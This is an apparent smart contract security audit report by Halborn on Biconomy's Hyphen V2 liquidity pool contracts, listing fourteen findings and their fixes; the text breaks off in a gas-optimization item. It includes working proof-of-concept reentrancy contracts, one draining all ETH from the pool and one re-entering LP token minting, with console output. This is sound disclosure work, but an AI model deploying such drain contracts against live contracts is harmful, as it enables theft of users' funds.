HALBORN

Biconomy - Hyphen V2

Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **January 30th, 2022 - February 24th, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	02/25/2022	Ataberk Yavuzer
0.2	Document Edits	02/25/2022	Ataberk Yavuzer
0.3	Draft Review	02/25/2022	Gabi Urrutia
1.0	Remediation Plan	03/01/2022	Ataberk Yavuzer
1.1	Remediation Plan Review	03/01/2022	Gabi Urrutia
1.2	Final Report Edits	05/21/2022	Ataberk Yavuzer
1.3	Final Report Review	05/25/2022	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Ataberk Yavuzer	Halborn	Ataberk.Yavuzer@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

engaged Halborn to conduct a security audit on their smart contracts beginning on January 30th, 2022 and ending on February 24th, 2022 . The security assessment was scoped to the smart contracts provided to the Halborn team.

1.2 AUDIT SUMMARY

The team at Halborn was provided four weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some security risks that were mostly addressed by the team.

Although Halborn found some critical, high and medium vulnerabilities, the "Biconomy team" ran a contest as part of a bug bounty program as part of the overall security process. Halborn tested whether the vulnerabilities found during the Code4rena contest were fixed.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy regarding the scope of the smart contract audit. While manual testing is recommended

to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of smart contracts and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose.
- Smart Contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions(solgraph)
- Manual Assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Dynamic Analysis (ganache-cli, brownie, hardhat)
- Static Analysis(slither)

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.

4 - May cause a significant level of impact or loss.
3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

1. Biconomy Hyphen Contracts
    (a) Repository: Hyphen Contracts
    (b) Commit ID: 79477448be994213353e481af15f5d94a64c3bc1
2. Out-of-Scope
    (a) contracts/security/
    (b) contracts/test/
    (c) External libraries

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	1	2	4	6

LIKELIHOOD

IMPACT

		(HAL-02)		(HAL-01)
		(HAL-03) (HAL-04)		
(HAL-10)	(HAL-05) (HAL-06) (HAL-07) (HAL-08)			
(HAL-11) (HAL-12) (HAL-13) (HAL-14)	(HAL-09)			

EXECUTIVE OVERVIEW

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
(HAL-01) WRONG FEE CALCULATION LEADS LOSS OF REWARD FUNDS	Critical	SOLVED - 02/28/2022
(HAL-02) REENTRANCY LEADS DRAIN OF FUNDS (PRIVILEGED USER)	High	SOLVED - 02/28/2022
(HAL-03) DIVISION BY ZERO BLOCKS TRANSFER OF FUNDS	Medium	SOLVED - 02/28/2022
(HAL-04) REENTRANCY ON LPTOKEN MINTING	Medium	SOLVED - 02/28/2022
(HAL-05) LACK OF ZERO ADDRESS CHECKS	Low	SOLVED - 02/28/2022
(HAL-06) MISSING RE-ENTRANCY GUARD	Low	SOLVED - 02/28/2022
(HAL-07) DISCREPANCY ON FUNCTION NAMING	Low	SOLVED - 02/28/2022
(HAL-08) FLOATING PRAGMA	Low	SOLVED - 02/28/2022
(HAL-09) LACK OF ADDRESS CONTROL ON ADDEXECUTOR FUNCTION	Informational	SOLVED - 02/28/2022
(HAL-10) USE OF SEND PATTERN INSTEAD OF CALL.VALUE	Informational	SOLVED - 02/28/2022
(HAL-11) CENTRALIZED WITHDRAWNATIVEGASFEE FUNCTION	Informational	SOLVED - 02/28/2022
(HAL-12) USE OF I++ INSTEAD OF ++I IN FOR LOOPS - GAS OPTIMIZATION	Informational	SOLVED - 02/28/2022
(HAL-13) REDUNDANT CODE - GAS OPTIMIZATION	Informational	SOLVED - 02/28/2022
(HAL-14) MISSING TEST COVERAGE FOR PERMIT OPERATIONS	Informational	ACKNOWLEDGED

FINDINGS & TECH DETAILS

3.1 (HAL-01) WRONG FEE CALCULATION LEADS LOSS OF REWARD FUNDS - CRITICAL

Description:

The LiquidityPool contract has claim gas fee mechanism for both ERC20 tokens and Native token. There are two functions to claim gas fee. The first function is withdrawErc20GasFee, used for claiming gas fee for ERC20 tokens. The withdrawNativeGasFee function is used for claiming gas fee for native token.

It is impossible to withdraw native gas fees due to wrong fee amount of calculation on withdrawNativeGasFee function.

Listing 1: LiquidityPool.sol

```
1 gasFeeAccumulatedByToken[NATIVE] = 0;
2 gasFeeAccumulatedByToken[NATIVE] = gasFeeAccumulatedByToken[NATIVE
↳ ] - _gasFeeAccumulated;
```

Basically, this function tries to substract _gasFeeAccumulated variable from 0. Therefore, this function will always revert, and native gas fees will remain in the contract.

Code Location:

Listing 2: LiquidityPool.sol (Lines 386,387)

```
383 function withdrawNativeGasFee() external onlyOwner whenNotPaused {
384         uint256 _gasFeeAccumulated = gasFeeAccumulated[NATIVE][
↳ _msgSender()];
385         require(_gasFeeAccumulated != 0, "Gas Fee earned is 0");
386         gasFeeAccumulatedByToken[NATIVE] = 0;
387         gasFeeAccumulatedByToken[NATIVE] =
↳ gasFeeAccumulatedByToken[NATIVE] - _gasFeeAccumulated;
388         gasFeeAccumulated[NATIVE][_msgSender()] = 0;
```

```
389         bool success = payable(_msgSender()).send(
 ↳ _gasFeeAccumulated);
390         require(success, "Native Transfer Failed");
391
392         emit GasFeeWithdraw(address(this), _msgSender(),
 ↳ _gasFeeAccumulated);
393     }
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to review this mathematical operation and correct as needed.

Remediation Plan:

SOLVED: The Biconomy team solved this issue by correcting the math operation that was causing the loss of funds.

Commit ID: fab4b8c0a10a3e0185b2a06b10248391837c07de

3.2 (HAL-02) REENTRANCY LEADS DRAIN OF FUNDS (PRIVILEGED USER) - HIGH

Description:

The Reentrancy term comes from where a re-entrant procedure can be interrupted in the middle of its execution and then safely be called again ("re-entered") before its previous invocations complete execution. In Solidity, Reentrancy vulnerabilities are mostly critical because attackers can steal funds from contracts by exploiting this vulnerability.

It has been observed that a malicious owner or malicious liquidity provider can drain all funds from the liquidity pool.

Note: The risk level is decreased to Critical from High due to authorization level.

Steps to Reproduce:

1. Alice (owner) deploys the LiquidityPool contract.
2. Bob (user1) transfer some funds (22 ETH) to LiquidityPool.
3. Carol (user2) transfer more funds (15 ETH) to LiquidityPool.
4. Alice deploys a malicious Attack contract.
5. Alice sets LiquidityProviders address to the attack contact.
6. Alice tries to send (1 ETH) to the attack contract.
7. Attack contract calls LiquidityPool's transfer function reentrantly.
8. Attack contract consumes all ETH from LiquidityPool.
9. Alice destructs the Attack contract and gets all ETH.

PoC Code:

Listing 3: Attack.sol

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.0;
import "./LiquidityPool.sol";

contract Attack {
    LiquidityPool public lpool;
    address private constant NATIVE = 0
↳ xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    address private owner;

    modifier onlyOwner(){
    require(owner == msg.sender, "Unauthorized");
    _;
    }

    constructor (address _lpaddress) public {
    owner = msg.sender;
        lpool = LiquidityPool(payable(_lpaddress));
    }
    fallback() external payable{
        if (address(lpool).balance >= 1 ether){
            lpool.transfer(NATIVE, address(this), 1 ether);
        }
    }

    function getBalance(address target) public view returns (uint)
↳  {
        return target.balance;
    }

    function destruct() external onlyOwner {
        selfdestruct(payable(owner));
    }

}
```

```
>>> accounts[1].transfer(liquiditypool, 22 * 1e18)
Transaction sent: 0x78043f345fac1f516b7e764a6842a89d6aef551d3e19c10a56b9401946dbb46e
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 2
  Transaction confirmed   Block: 29   Gas used: 23436 (0.29%)

<Transaction '0x78043f345fac1f516b7e764a6842a89d6aef551d3e19c10a56b9401946dbb46e'>
>>> accounts[2].transfer(liquiditypool, 15 * 1e18)
Transaction sent: 0x5170bf193ac3cd0ad5285e091eb2f0be213f697a0730bd94be2877549534f213
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 0
  Transaction confirmed   Block: 30   Gas used: 23436 (0.29%)

<Transaction '0x5170bf193ac3cd0ad5285e091eb2f0be213f697a0730bd94be2877549534f213'>
>>> accounts[3].transfer(liquiditypool, 3 * 1e18)
Transaction sent: 0xdcf35bb2e423d4d17895f9641430d43b94b661f120bb96cda982cba284760c61
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 0
  Transaction confirmed   Block: 31   Gas used: 23436 (0.29%)

<Transaction '0xdcf35bb2e423d4d17895f9641430d43b94b661f120bb96cda982cba284760c61'>
>>> liquiditypool.balance()
40000000000000000000
>>> attackContract = attacker.deploy(Attack, liquiditypool)
Transaction sent: 0xe0189059e399e7bd3e743d16eb5be3c7ce819c8e8dd32fadb6ee3514376c8547
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 0
  Attack.constructor confirmed   Block: 32   Gas used: 188466 (2.36%)
  Attack deployed at: 0xc2f27037c46aD11daF31b01A8566Ef28a4Bc3C17

>>> attackContract.balance()
0
>>> liquiditypool.setLiquidityProviders(attackContract, {'from': owner})
Transaction sent: 0x91abf50f2dae8e2235fcc1ee9e4629ed1a016e8a4bbad8800651218524e0f8fe
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 26
  LiquidityPool.setLiquidityProviders confirmed   Block: 33   Gas used: 30734 (0.38%)

<Transaction '0x91abf50f2dae8e2235fcc1ee9e4629ed1a016e8a4bbad8800651218524e0f8fe'>
>>> tx = attacker.transfer(attackContract, 1 * 1e18)
Transaction sent: 0xb847d7fb87ef4e0a64052ac7bffaaed1f66d1a9b1b06688c6177dfdc4c0511c7
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 1
  Transaction confirmed   Block: 34   Gas used: 619907 (7.75%)

>>> attacker.balance()
99000000000000000000
>>> liquiditypool.balance()
0
>>> attackContract.balance()
41000000000000000000
```

Code Location:

Listing 4: LiquidityPool.sol (Line 395)

```
395 function transfer(address _tokenAddress, address receiver, uint256
 ↳  _tokenAmount) external whenNotPaused onlyLiquidityProviders {
396         if (_tokenAddress == NATIVE) {
397             require(address(this).balance >= _tokenAmount, "
 ↳ ERR__INSUFFICIENT_BALANCE");
398             (bool success, ) = receiver.call{value: _tokenAmount}(
 ↳ "");
399             require(success, "ERR__NATIVE_TRANSFER_FAILED");
400         } else {
401             IERC20Upgradeable baseToken = IERC20Upgradeable(
 ↳ _tokenAddress);
402             require(baseToken.balanceOf(address(this)) >=
 ↳ _tokenAmount, "ERR__INSUFFICIENT_BALANCE");
403             SafeERC20Upgradeable.safeTransfer(baseToken, receiver,
 ↳  _tokenAmount);
404         }
405     }
```

Risk Level:

Likelihood - 3
Impact - 5

Recommendation:

It is recommended to use nonReentrant modifier on transfer() function.

Remediation Plan:

SOLVED: The Biconomy team solved this issue by implementing nonReentrant modifier to the transfer() function.

Commit ID: e00937d1ca0e800e69fcb87d0841a74c0083194a

3.3 (HAL-03) DIVISION BY ZERO BLOCKS TRANSFER OF FUNDS - MEDIUM

Description:

The sendFundsToUser() is a function on the LiquidityPool contract that allows users to be paid in certain tokens for the specified chainIds. This function is only callable by executors. When an executor attempts to call this function, the following functions are also called sequentially:

1. sendFundsToUser()
2. getAmountToTransfer()
3. getTransferFee()

In the last function, there is missing control for if denominator value is zero. There are some conditions that make the denominator be zero.

For example;
1. If providedLiquidity and resultingLiquidity variables are zero. (if there is no liquidity on the pool)
2. When you try to send all liquidity to another user while providedLiquidity is zero. (if users made a direct transfer to the pool)
3. If maxFee equals to equilibriumFee and providedLiquidity variable is zero.

As a result, these circumstances will block transfer of funds.

```
>>> liquiditypool.depositNative(accounts[1], 1, '', {'from': owner, 'value': 1e18})
Transaction sent: 0x2a36caa2b485c39a24e5f9d5b302e053560d1e28951549da0450887d8b333f1a
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 177
  LiquidityPool.depositNative confirmed   Block: 215   Gas used: 48797 (0.61%)

<Transaction '0x2a36caa2b485c39a24e5f9d5b302e053560d1e28951549da0450887d8b333f1a'>
>>> liquiditypool.depositNative(accounts[3], 1, '', {'from': user1, 'value': 2e18})
Transaction sent: 0x86f4730becd1d8d7139c407a5059ded3572d07c23997354c7a454ca9071c6be9
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 7
  LiquidityPool.depositNative confirmed   Block: 216   Gas used: 48797 (0.61%)

<Transaction '0x86f4730becd1d8d7139c407a5059ded3572d07c23997354c7a454ca9071c6be9'>
>>> liquiditypool.getCurrentLiquidity(NATIVE)
3000000000000000000
>>> liquiditypool.sendFundsToUser(NATIVE, 3e18, user3, 0x00, 0, 1)
Transaction sent: 0x3fd96b39b1cc0adcec5b6e3d60df4207c9efc03deefce53fd44f74fb4f2cbad2
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 178
  LiquidityPool.sendFundsToUser confirmed (Only executor is allowed)   Block: 217   Gas used: 34404 (0.43%)

<Transaction '0x3fd96b39b1cc0adcec5b6e3d60df4207c9efc03deefce53fd44f74fb4f2cbad2'>
>>> liquiditypool.sendFundsToUser(NATIVE, 3e18, user3, 0x00, 0, 1, {'from': executor})
Transaction sent: 0x7a561d4d2835b37c873fd4e132762e21bc6bbcffe357588600af36ddb5ec35e8
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 0
  LiquidityPool.sendFundsToUser confirmed (Division or modulo by zero)   Block: 218   Gas used: 105472 (1.32%)

<Transaction '0x7a561d4d2835b37c873fd4e132762e21bc6bbcffe357588600af36ddb5ec35e8'>
>>>
```

Code Location:

Listing 5: LiquidityPool.sol (Line 358)

```
346 function getTransferFee(address tokenAddress, uint256 amount)
 ↳ public view returns (uint256 fee) {
347         uint256 currentLiquidity = getCurrentLiquidity(
 ↳ tokenAddress);
348         uint256 providedLiquidity = liquidityProviders.
 ↳ getSuppliedLiquidityByToken(tokenAddress);
349
350         uint256 resultingLiquidity = currentLiquidity - amount;
351
352         uint256 equilibriumFee = tokenManager.getTokensInfo(
 ↳ tokenAddress).equilibriumFee;
353         uint256 maxFee = tokenManager.getTokensInfo(tokenAddress).
 ↳ maxFee;
354         // Fee is represented in basis points * 10 for better
 ↳ accuracy
355         uint256 numerator = providedLiquidity * equilibriumFee *
 ↳ maxFee; // F(max) * F(e) * L(e)
356         uint256 denominator = equilibriumFee * providedLiquidity +
 ↳  (maxFee - equilibriumFee) * resultingLiquidity; // F(e) * L(e) +
 ↳ (F(max) - F(e)) * L(r)
357
358         fee = numerator / denominator;
359     }
```

Recommendation:

It is recommended to implement additional check if denominator is equal to zero.
For example;

Listing 6: Possible Fix

```
if (denominator > 0){
    fee = numerator / denominator;
}
else {
    fee = 0;
}
```

Remediation Plan:

SOLVED: The Biconomy team solved this finding by applying the recommendation above to the code that was causing the division by zero.

Commit ID: 22618c038df5d27368ccac4c5451d2a0c9816513

3.4 (HAL-04) REENTRANCY ON LPTOKEN MINTING - MEDIUM

Description:

The LPToken contract is ERC721 token and uses tokenMetadata to keep deposit amounts for other ERC20 tokens. When a user deposit native asset or ERC20 token to the Liquidity Pool over LiquidityProviders contract, LPToken is getting minted to track this operation. During this process, LiquidityProvider contract calls lptoken.mint() function and LPToken contract calls ERC721's _safeMint() function. The _safeMint() function has any callbacks, and malicious contract with onERC721Received callback can re-enter to other contracts. This can lead to unexpected situations.

PoC Code:

Note: The following code does not mint unlimited LPTokens with 1 ETH. It is just added to show that Re-entrancy is possible. However, this situation may produce unexpected results.

Listing 7: Attack3.sol (Line 16)

```
1  // SPDX-License-Identifier: UNLICENSED
2
3  pragma solidity 0.8.0;
4  import "./LiquidityProviders.sol";
5  import "@openzeppelin/contracts-upgradeable/token/ERC721/
↳  IERC721ReceiverUpgradeable.sol";
6
7  contract Attack3 is IERC721ReceiverUpgradeable{
8      LiquidityProviders public liquidityproviders;
9
10     constructor() public {}
11
12     function setLProvider(address _lproviders) external {
13     liquidityproviders = LiquidityProviders(payable(_lproviders));
14     }
15
16     function onERC721Received(
17         address operator,
```

FINDINGS & TECH DETAILS

```
18          address from,
19          uint256 tokenId,
20          bytes calldata data) external override returns (bytes4) {
21          if (tokenId < 10) {
22              liquidityproviders.addNativeLiquidity{value: 1e12}();
23              return IERC721ReceiverUpgradeable.onERC721Received.
↳ selector;
24          }
25          else{
26              return IERC721ReceiverUpgradeable.onERC721Received.
↳ selector;
27          }
28      }
29
30      receive() external payable {}
31
32      function attack() external payable{
33         liquidityproviders.addNativeLiquidity{value: msg.value}();
34      }
35 }
```

```
>>> lptoken.totalSupply()
2
>>> attackContract = attacker.deploy(Attack3)
Transaction sent: 0xc4e7c92ff2e98beed74a629c2b23715b50ea505ea99415eb255c528ed8e4715b
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 20
  Attack3.constructor confirmed   Block: 314   Gas used: 293427 (3.67%)
  Attack3 deployed at: 0xeAd9f74c4ED9833BBC862c671BaF0119e31dB7C2

>>> attackContract.setLProvider(liquidityproviders)

Transaction sent: 0x5f6730002c4f7cf19114e55dc26a8ad5dbc0e02ecb9b47fc71f5ca2ecd721c23
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 21
  Attack3.setLProvider confirmed   Block: 315   Gas used: 42603 (0.53%)

<Transaction '0x5f6730002c4f7cf19114e55dc26a8ad5dbc0e02ecb9b47fc71f5ca2ecd721c23'>
>>> attackContract.setLPool(liquiditypool)

Transaction sent: 0xb70edacc1f054a713e3d9df53dce570afd4484e213d97e2a2059cdcc75735b4c
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 22
  Attack3.setLPool confirmed   Block: 316   Gas used: 42625 (0.53%)

<Transaction '0xb70edacc1f054a713e3d9df53dce570afd4484e213d97e2a2059cdcc75735b4c'>
>>> lptoken.getAllNftIdsByUser(attackContract)
()
>>> attacker.transfer(attackContract, 1e18)

Transaction sent: 0xe2e91349cf056206895faf01f27d21befc3df35d6586adf713a1ccec95a389de
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 23
  Transaction confirmed   Block: 317   Gas used: 21055 (0.26%)

<Transaction '0xe2e91349cf056206895faf01f27d21befc3df35d6586adf713a1ccec95a389de'>
>>> attackContract.attack({'from': attackContract, 'value': 1e12})
Transaction sent: 0xac25e7685094028f1f5f26712e62ea21791c2eed678fb6eb8cafdefce94ab628
  Gas price: 0.0 gwei   Gas limit: 8000000   Nonce: 1
  Attack3.attack confirmed   Block: 318   Gas used: 2255201 (28.19%)

<Transaction '0xac25e7685094028f1f5f26712e62ea21791c2eed678fb6eb8cafdefce94ab628'>
>>> lptoken.totalSupply()
10
>>> lptoken.getAllNftIdsByUser(attackContract)
(3, 4, 5, 6, 7, 8, 9, 10)
```

Code Location:

Listing 8: LPToken.sol (Line 65)

```
63 function mint(address _to) external onlyHyphenPools whenNotPaused
↳ returns (uint256) {
64         uint256 tokenId = totalSupply() + 1;
65         _safeMint(_to, tokenId);
66         return tokenId;
67     }
```

Risk Level:

Likelihood - 3
Impact - 3

Recommendation:

It is recommended to implement nonReentrant modifier to the mint function. Other workarond is using _mint function that does not have callback instead of _safeMint function.

Remediation Plan:

SOLVED: The Biconomy team solved this issue by implementing the nonReentrant modifier to the mint() function.

Commit ID: cce62223d4779792ea68f3570b576da12dc96eb2

3.5 (HAL-05) LACK OF ZERO ADDRESS CHECKS - LOW

Description:

Hyphen contracts have address fields on multiple functions. These functions have missing address validations. Every address should be validated and checked that is different from zero. This is also considered a best practice.

During the test, it has seen some of these inputs are not protected against using the address(0) as the target address.

Code Location:

Listing 9: Functions with missing zero address checks

```
1 LPToken.setLiquidtyPool(address)._lpm
2 LPToken.updateLiquidityPoolAddress(address)._liquidityPoolAddress
3 LiquidityPool.transfer(address,address,uint256).receiver
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendations:

It is recommended to validate that every address input is different from zero.

Remediation Plan:

SOLVED: This issue solved by Biconomy team after adding additional zero address checks to the code as it recommended.

Commit ID: 5c57ae6eddcddde2f89ed00d9c5387ff151774ea

3.6 (HAL-06) MISSING RE-ENTRANCY GUARD - LOW

Description:

To protect against cross-function re-entrancy attacks, it may be necessary to use a mutex. By using this lock, an attacker can no longer exploit the withdrawal function with a recursive call. OpenZeppelin has its own mutex implementation called ReentrancyGuard which provides a modifier to any function called nonReentrant that guards the function with a mutex against re-entrancy attacks.

Note: This issue is created for other functions that were not exploited.

Code Location:

Listing 10: Possible Vulnerable Functions

```
1 LiquidityPool.depositErc20()
2 LiquidityPool.depositNative()
3 LiquidityPool.getAmountToTransfer()
4 LiquidityPool.withdrawErc20GasFee()
5 LiquidityPool.withdrawNativeGasFee()
6 LiquidityPool.transfer()
7 LiquidityProviders.addNativeLiquidity()
8 LiquidityProviders.addTokenLiquidity()
9 LiquidityProviders.increaseTokenLiquidity()
10 LiquidityProviders.increaseNativeLiquidity()
11 LiquidityProviders.removeLiquidity()
12 LiquidityProviders.claimFee()
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

The functions on the code location section have missing nonReentrant modifiers. It is recommended to add OpenZeppelin ReentrancyGuard library to the project and use the nonReentrant modifier to avoid introducing future re-entrancy vulnerabilities.

Remediation Plan:

SOLVED: This vulnerability was eliminated by adding the nonReentrant modifier to functions mentioned above.

Commit ID: e511a8a02ab298526689cef653c905b6b2d452e3

3.7 (HAL-07) DISCREPANCY ON FUNCTION NAMING - LOW

Description:

The setLiquidtyPool function on the LPToken contract is named inconsistently. Similarly, there is a setLiquidityPool function on the LiquidityProviders contract which uses LiquidityPool as argument. As a result of the function named in this way in the LPToken contract, if the contract owner gives the LiquidityPool address as an argument instead of the LiquidityProvider address, the transactions on the contract do not work properly.

Code Location:

Listing 11: LiquidityProviders.sol

```
138 function setLiquidityPool(address _liquidityPool) external
 ↳ onlyOwner {
139         liquidityPool = ILiquidityPool(_liquidityPool);
140 }
```

Listing 12: LPToken.sol

```
45 function setLiquidtyPool(address _lpm) external onlyOwner {
46         liquidityPoolAddress = _lpm;
47         emit LiquidityPoolUpdated(_lpm);
48     }
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

It is recommended to rename LPToken's `setLiquidtyPool` function.

Remediation Plan:

SOLVED: This issue was solved after renaming the `setLiquidtyPool` function to `setLiquidityProviders`.

Commit ID: 9e16cd0e6b6e66d5f02792d0705149c873daf287

3.8 (HAL-08) FLOATING PRAGMA - LOW

Description:

The project contains many instances of floating pragma. Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, either an outdated compiler version that might introduce bugs that affect the contract system negatively or a pragma version too recent which has not been extensively tested.

Code Location:

Listing 13: Floating Pragma

```
LiquidityProviders.sol::pragma solidity ^0.8.0
WhitelistPeriodManager.sol::pragma solidity ^0.8.0
LPToken.sol::pragma solidity ^0.8.0
ERC2771Context.sol::pragma solidity ^0.8.0
ERC2771ContextUpgradeable.sol::pragma solidity ^0.8.0
ILPToken.sol::pragma solidity ^0.8.0
ILiquidityPool.sol::pragma solidity ^0.8.0
ILiquidityProviders.sol::pragma solidity ^0.8.0
ITokenManager.sol::pragma solidity ^0.8.0
IWhitelistPeriodManager.sol::pragma solidity ^0.8.0
LpTokenMetadata.sol::pragma solidity ^0.8.0
```

Risk Level:

Likelihood - 2
Impact - 2

Recommendation:

Consider locking the pragma version with known bugs for the compiler version by removing the caret (^) symbol. When possible, do not use

floating pragma in the final live deployment. Specifying a fixed compiler version ensures that the bytecode produced does not vary between builds. This is especially important if you rely on bytecode-level verification of the code.

Remediation Plan:

SOLVED: The Biconomy team solved this issue by locking pragma versions.

Commit ID: d7ca2d430b08296b742db3d0c39cc0dfa7201330

3.9 (HAL-09) LACK OF ADDRESS CONTROL ON ADDEXECUTOR FUNCTION - INFORMATIONAL

Description:

According to the performed tests, it is possible to add the same executor to the executors array multiple times. Adding the same address to the executor array does not pose a security risk since the remove function works properly. However, it is the best practice to keep unique elements in executors array.

Code Location:

Listing 14: ExecutorManager.sol

```
37 function addExecutor(address executorAddress) public override
↳ onlyOwner {
38         require(executorAddress != address(0), "executor address
↳ can not be 0");
39         executors.push(executorAddress);
40         executorStatus[executorAddress] = true;
41         emit ExecutorAdded(executorAddress, msg.sender);
42     }
```

Risk Level:

Likelihood - 2
Impact - 1

Recommendation:

It is recommended to implement an additional check to addExecutors function. Other possible solution would be defining the executors array as a mapping.

Remediation Plan:

SOLVED: This finding was solved after a sanity check was added to the code to check not to add duplicate records to the array.

Commit ID: e15fffa2aa3c79a9b2729a7e081737856a632317

3.10 (HAL-10) USE OF SEND PATTERN INSTEAD OF CALL.VALUE - INFORMATIONAL

Description:

Solidity has three methods to complete Ether transfers. The first one is transfer method. It forwards 2300 gas, and it does not have callback to check whether transfer is completed or not. The second one is send method. It also forwards 2300 gas, but it returns false on failure. The third one is call.value method. This method issues a low-level CALL with the given payload and returns success condition and return data. It forwards all available gas.

It is the best practice to use call.value method, since other methods have hardcoded gas amounts. However, the call.value method may use all gas on reentrant transactions. Therefore, it is important to use nonReentrant modifier with this method.

Code Location:

Listing 15: LPToken.sol (Line 291)

```
289 if (tokenAddress == NATIVE) {
290             require(address(this).balance >= amountToTransfer, "
 ↳ Not Enough Balance");
291             bool success = receiver.send(amountToTransfer);
292             require(success, "Native Transfer Failed");
```

Listing 16: LPToken.sol (Line 389)

```
388 gasFeeAccumulated[NATIVE][_msgSender()] = 0;
389         bool success = payable(_msgSender()).send(
 ↳ _gasFeeAccumulated);
390         require(success, "Native Transfer Failed");
```

Risk Level:

Likelihood - 1
Impact - 2

Recommendation:

It is recommended to replace the send method with call.value.

Remediation Plan:

SOLVED: The Biconomy team solved this issue by replacing the send method with the call.value method.

Commit ID: d98b632da2aa7e92668c58c8d81f81c595af3401

3.11 (HAL-11) CENTRALIZED WITHDRAWNATIVEGASFEE FUNCTION - INFORMATIONAL

Description:

The withdrawErc20GasFee function can also be called by other executors defined on the contract. In this case, there may be different accumulated gas fee values for each executor. Contrary to this situation, the withdrawNativeGasFee function only can be called by contract owner. This function nearly has the same logic with the first one. While other executors can collect gas fees for tokens, only the contract owner can collect this value for the native asset. In this case, it reduces decentralization of the contract.

Code Location:

Listing 17: LiquidityPool.sol

```
372 function withdrawErc20GasFee(address tokenAddress) external
 ↳ onlyExecutor whenNotPaused
```

Listing 18: LiquidityPool.sol

```
383 function withdrawNativeGasFee() external onlyOwner whenNotPaused
```

Risk Level:

Likelihood - 1
Impact - 1

Recommendation:

If acceptable, it is recommended to use the same modifier for both functions.

Remediation Plan:

SOLVED: This issue was removed after changing the `onlyOwner` modifier to the `onlyExecutor` modifier in the `withdrawNativeGasFee` function.

Commit ID: fab4b8c0a10a3e0185b2a06b10248391837c07de

3.12 (HAL-12) USE OF I++ INSTEAD OF ++I IN FOR LOOPS - GAS OPTIMIZATION - INFORMATIONAL

Description:

In all the loops, the variable `i` is incremented using `i++`. It is known that, in loops, using `++i` costs less gas per iteration than `i++`. This also affects variables incremented inside the loop code block.

Code Location:

Listing 19: ExecutorManager.sol (Line 31)

```
30
31 function addExecutors(address[] calldata executorArray) external
↳ override onlyOwner {
32         for (uint256 i = 0; i < executorArray.length; i++) {
33             addExecutor(executorArray[i]);
34         }
35     }
```

Listing 20: ExecutorManager.sol (Line 46)

```
45 function removeExecutors(address[] calldata executorArray)
↳ external override onlyOwner {
46         for (uint256 i = 0; i < executorArray.length; i++) {
47             removeExecutor(executorArray[i]);
48         }
49     }
```

Listing 21: TokenManager.sol (Line 76)

```
69 function setDepositConfig(
70         uint256[] memory toChainId,
71         address[] memory tokenAddresses,
72         TokenConfig[] memory tokenConfig
73     ) external onlyOwner {
```

```
74          require(toChainId.length == tokenAddresses.length, "
↳ ERR_ARRAY_LENGTH_MISMATCH");
75          require(tokenAddresses.length == tokenConfig.length, "
↳ ERR_ARRAY_LENGTH_MISMATCH");
76          for (uint256 index = 0; index < tokenConfig.length; index
↳ ++) {
77              depositConfig[toChainId[index]][tokenAddresses[index
↳ ]].min = tokenConfig[index].min;
78              depositConfig[toChainId[index]][tokenAddresses[index
